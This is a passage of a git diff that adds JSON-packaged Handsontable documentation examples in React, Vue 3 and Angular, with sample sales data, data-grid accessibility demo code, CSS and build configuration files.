false,\n qty: 439,\n orderId: '62-6066132',\n country: 'Senegal',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Awesome Wooden Hat',\n sellDate: '2022-11-24',\n inStock: false,\n qty: 493,\n orderId: '76-7785471',\n country: 'Cyprus',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-08-11',\n inStock: false,\n qty: 225,\n orderId: '34-3551159',\n country: 'Saint Martin',\n },\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-02-07',\n inStock: false,\n qty: 261,\n orderId: '77-1112514',\n country: 'Chile',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-06',\n inStock: false,\n qty: 439,\n orderId: '12-3252385',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-22',\n inStock: true,\n qty: 235,\n orderId: '71-7639998',\n country: 'Brazil',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2022-12-13',\n inStock: true,\n qty: 163,\n orderId: '68-1588829',\n country: 'Burkina Faso',\n },\n {\n companyName: 'Jenkins LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-03-26',\n inStock: true,\n qty: 8,\n orderId: '61-6324553',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 355,\n orderId: '74-6985005',\n country: 'Mozambique',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-08-01',\n inStock: false,\n qty: 186,\n orderId: '84-4370131',\n country: 'Cocos (Keeling) Islands',\n },\n {\n companyName: 'Rempel - Durgan',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 284,\n orderId: '13-6461825',\n country: 'Monaco',\n },\n {\n companyName: 'Lesch - Jakubowski',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-09-26',\n inStock: true,\n qty: 492,\n orderId: '13-9465439',\n country: 'Iran',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 300,\n orderId: '76-5194058',\n country: 'Indonesia',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-07-07',\n inStock: true,\n qty: 493,\n orderId: '61-8600792',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Johnston - Wisozk',\n productName: 'Small Fresh Fish',\n sellDate: '2023-07-14',\n inStock: false,\n qty: 304,\n orderId: '10-6007287',\n country: 'Romania',\n },\n {\n companyName: 'Gutkowski Inc',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-01-10',\n inStock: true,\n qty: 375,\n orderId: '25-1164132',\n country: 'Afghanistan',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-03-30',\n inStock: false,\n qty: 365,\n orderId: '75-7975820',\n country: 'Germany',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 308,\n orderId: '59-6251875',\n country: 'Tajikistan',\n },\n {\n companyName: 'Mills Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 191,\n orderId: '67-7521441',\n country: 'Puerto Rico',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-03-18',\n inStock: false,\n qty: 208,\n orderId: '19-4264192',\n country: 'Bolivia',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-06-14',\n inStock: true,\n qty: 191,\n orderId: '78-5742060',\n country: 'Benin',\n },\n {\n companyName: 'Upton - Reichert',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-02-27',\n inStock: false,\n qty: 45,\n orderId: '26-6191298',\n country: 'Tunisia',\n },\n {\n companyName: 'Carroll Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 385,\n orderId: '13-7828353',\n country: 'Switzerland',\n },\n {\n companyName: 'Reichel Group',\n productName: 'Small Frozen Tuna',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 117,\n orderId: '67-9643738',\n country: 'Mongolia',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-24',\n inStock: false,\n qty: 335,\n orderId: '78-1331653',\n country: 'Angola',\n },\n {\n companyName: 'Brown LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-06-13',\n inStock: true,\n qty: 305,\n orderId: '63-2315723',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-07',\n inStock: true,\n qty: 409,\n orderId: '53-6782557',\n country: 'Indonesia',\n },\n {\n companyName: 'OReilly LLC',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-18',\n inStock: true,\n qty: 318,\n orderId: '91-7787675',\n country: 'Mayotte',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-20',\n inStock: false,\n qty: 234,\n orderId: '41-3560672',\n country: 'Switzerland',\n },\n {\n companyName: 'Hodkiewicz Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-10-19',\n inStock: true,\n qty: 136,\n orderId: '48-6028776',\n country: 'Peru',\n },\n {\n companyName: 'Lesch and Sons',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-29',\n inStock: false,\n qty: 187,\n orderId: '84-3770456',\n country: 'Central African Republic',\n },\n {\n companyName: 'Pouros - Brakus',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-01-29',\n inStock: false,\n qty: 350,\n orderId: '08-4844950',\n country: 'Isle of Man',\n },\n {\n companyName: 'Batz - Rice',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-11-06',\n inStock: false,\n qty: 252,\n orderId: '88-4899852',\n country: 'Burundi',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Fresh Fish',\n sellDate: '2023-09-05',\n inStock: true,\n qty: 306,\n orderId: '06-5022461',\n country: 'Mauritius',\n },\n {\n companyName: 'Hills and Sons',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-11-07',\n inStock: false,\n qty: 435,\n orderId: '99-5539911',\n country: 'Somalia',\n },\n {\n companyName: 'Shanahan - Boyle',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-19',\n inStock: true,\n qty: 171,\n orderId: '82-8162453',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Luettgen Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 6,\n orderId: '02-8118250',\n country: 'Colombia',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-02-16',\n inStock: true,\n qty: 278,\n orderId: '07-9773343',\n country: 'Central African Republic',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-08-08',\n inStock: false,\n qty: 264,\n orderId: '66-4470479',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-06-06',\n inStock: true,\n qty: 494,\n orderId: '13-1175339',\n country: 'Liechtenstein',\n },\n {\n companyName: 'Hahn - Welch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-12',\n inStock: false,\n qty: 485,\n orderId: '32-9127309',\n country: 'Bahrain',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-04-08',\n inStock: true,\n qty: 332,\n orderId: '41-3774568',\n country: 'Montserrat',\n },\n {\n companyName: 'Crona and Sons',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-06-21',\n inStock: true,\n qty: 104,\n orderId: '48-9995090',\n country: 'Syrian Arab Republic',\n },\n {\n companyName: 'Lind Group',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 51,\n orderId: '68-9599400',\n country: 'Czech Republic',\n },\n {\n companyName: 'Labadie LLC',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-04-20',\n inStock: true,\n qty: 155,\n orderId: '52-4334332',\n country: 'Croatia',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-07-23',\n inStock: false,\n qty: 465,\n orderId: '63-8894526',\n country: 'Indonesia',\n },\n];\n\nconst countries = data.reduce((acc, curr) => {\n if (acc.includes(curr.country)) {\n return acc;\n }\n\n return [...acc, curr.country];\n}, []);\n\n/* end:skip-in-preview */\n\n// Handsontable options\nconst hotOptions = {\n data,\n height: 464,\n colWidths: [160, 165, 130, 120, 100, 110, 216],\n autoRowSize: true,\n colHeaders: ['Company name', 'Product name', 'Sell date', 'In stock', 'Qty', 'Order ID', 'Country'],\n dropdownMenu: true,\n hiddenColumns: {\n indicators: true,\n },\n multiColumnSorting: true,\n filters: true,\n rowHeaders: true,\n manualRowMove: true,\n licenseKey: 'non-commercial-and-evaluation',\n};\n\nconst ExampleComponent = () => {\n const [toggleableOptions, setToggleableOptions] = useState>({\n tabNavigation: true,\n navigableHeaders: true,\n renderAllRows: false,\n renderAllColumns: false,\n enterBeginsEditing: true,\n autoWrapRow: true,\n autoWrapCol: true,\n headerClassName: 'htLeft',\n enterMoves: { col: 0, row: 1 },\n });\n\n return (\n
    \n {/* DemoOptions component for changing Handsontable options */}\n \n\n \n\n {/* Handsontable component with dynamic options */}\n \n {/* Define HotColumns for the data */}\n \n \n \n \n \n \n \n \n \n
    \n );\n};\n\n// Demo Options allows you to change the Handsontable options\n// This allows us to change the Handsontable settings from the UI, showcasing\n// the flexibility of Handsontable in configuring according to your needs.\nfunction DemoOptions({\n tabNavigation,\n navigableHeaders,\n renderAllRows,\n renderAllColumns,\n enterBeginsEditing,\n autoWrapRow,\n autoWrapCol,\n enterMoves,\n changeToggleOptions,\n}: Toggle) {\n // on checkbox change, update handsontable option\n const handleCheckboxChange = (checkboxName: string) => {\n switch (checkboxName) {\n case 'enable-tab-navigation':\n changeToggleOptions((existing: any) => ({\n ...existing,\n tabNavigation: !tabNavigation,\n }));\n\n break;\n case 'enable-header-navigation':\n changeToggleOptions((existing: any) => ({\n ...existing,\n navigableHeaders: !navigableHeaders,\n }));\n\n break;\n case 'enable-cell-virtualization':\n changeToggleOptions((existing: any) => ({\n ...existing,\n renderAllRows: !renderAllRows,\n renderAllColumns: !renderAllColumns,\n }));\n\n break;\n case 'enable-cell-enter-editing':\n changeToggleOptions((existing: any) => ({\n ...existing,\n enterBeginsEditing: !enterBeginsEditing,\n }));\n\n break;\n case 'enable-arrow-rl-first-last-column':\n changeToggleOptions((existing: any) => ({\n ...existing,\n autoWrapRow: !autoWrapRow,\n }));\n\n break;\n case 'enable-arrow-td-first-last-column':\n changeToggleOptions((existing: any) => ({\n ...existing,\n autoWrapCol: !autoWrapCol,\n }));\n\n break;\n case 'enable-enter-focus-editing':\n changeToggleOptions((existing: any) => ({\n ...existing,\n enterMoves: enterMoves.row !== 1 ? { col: 0, row: 1 } : { col: 0, row: 0 },\n }));\n\n break;\n default:\n break;\n }\n };\n\n return (\n <>\n
    \n
    \n \n \n \n \n \n \n \n
    \n
    \n \n \n \n \n \n \n \n
    \n
    \n \n \n \n \n \n \n \n
    \n
    \n \n \n \n \n \n \n \n
    \n
    \n \n \n \n \n \n \n \n
    \n
    \n \n \n \n \n \n \n \n
    \n
    \n \n \n \n \n \n \n \n
    \n
    \n \n );\n}\n\nexport default ExampleComponent;","/src/styles.css":".checkbox-container {\n display: flex;\n flex-direction: column;\n gap: 0.5rem;\n margin: 0 -1rem 0 !important;\n padding: 0 1rem 0.75rem;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n}\n\n.checkbox-container > div {\n display: flex;\n}\n\n.checkbox-container > div > label {\n display: flex;\n align-items: center;\n gap: 0.4rem;\n}\n\n.external-link {\n margin-left: 0.5rem;\n position: relative;\n top: 2px;\n color: var(--sl-color-text, #333333);\n}\n\n.external-link:hover {\n color: var(--sl-color-accent, #1A42E8);\n}\n\n.placeholder-input {\n max-width: 20rem;\n padding: 0.4rem 0.625rem;\n font-size: var(--sl-text-sm, 0.875rem);\n line-height: 1.25rem;\n color: var(--sl-color-text, #333333);\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n outline: none;\n}\n\n.placeholder-input::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n.placeholder-input:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n.option-label {\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n}\n\n/*\n We want the focus to be around input and label, in order to achieve this,\n we remove focus from the input and add it to the label (wrapper in this case)\n we then use the :focus-within pseudo class plus native focus styles\n https://css-tricks.com/copy-the-browsers-native-focus-styles/\n*/\n.option-label:focus-within {\n outline: 5px auto Highlight;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\n.option-label > input:focus {\n outline: none;\n}\n\n.example-container {\n gap: 1rem;\n display: flex;\n flex-direction: column;\n font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;\n}"},"docsPath":"guides/accessibility/accessibility/react/example2.tsx","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example2","exampleTitle":"Accessible data grid demo","docPermalink":"/accessibility","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__vue__example2.vue.json new file mode 100644 index 00000000..d2eff6b3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessibility · Accessible data grid demo · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport \"./styles.css\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n","/src/styles.css":".checkbox-container {\n display: flex;\n flex-direction: column;\n gap: 0.5rem;\n margin: 0 -1rem 0 !important;\n padding: 0 1rem 0.75rem;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n}\n\n.checkbox-container > div {\n display: flex;\n}\n\n.checkbox-container > div > label {\n display: flex;\n align-items: center;\n gap: 0.4rem;\n}\n\n.external-link {\n margin-left: 0.5rem;\n position: relative;\n top: 2px;\n color: var(--sl-color-text, #333333);\n}\n\n.external-link:hover {\n color: var(--sl-color-accent, #1A42E8);\n}\n\n.placeholder-input {\n max-width: 20rem;\n padding: 0.4rem 0.625rem;\n font-size: var(--sl-text-sm, 0.875rem);\n line-height: 1.25rem;\n color: var(--sl-color-text, #333333);\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n outline: none;\n}\n\n.placeholder-input::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n.placeholder-input:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n.option-label {\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n}\n\n/*\n We want the focus to be around input and label, in order to achieve this,\n we remove focus from the input and add it to the label (wrapper in this case)\n we then use the :focus-within pseudo class plus native focus styles\n https://css-tricks.com/copy-the-browsers-native-focus-styles/\n*/\n.option-label:focus-within {\n outline: 5px auto Highlight;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\n.option-label > input:focus {\n outline: none;\n}\n\n.example-container {\n gap: 1rem;\n display: flex;\n flex-direction: column;\n}"},"docsPath":"guides/accessibility/accessibility/vue/example2.vue","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example2","exampleTitle":"Accessible data grid demo","docPermalink":"/accessibility","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__angular__example1.ts.json new file mode 100644 index 00000000..dd9e7442 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Column menu · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example1',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/column-menu/angular/example1.ts","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__angular__example2.ts.json new file mode 100644 index 00000000..9ec82b83 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Column menu · Plugin configuration · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example2',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n height: 'auto',\n dropdownMenu: [\n 'remove_col',\n '---------',\n 'make_read_only',\n '---------',\n 'alignment',\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/column-menu/angular/example2.ts","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__javascript__example1.js.json new file mode 100644 index 00000000..58bfc2a5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Column menu · Standard example · 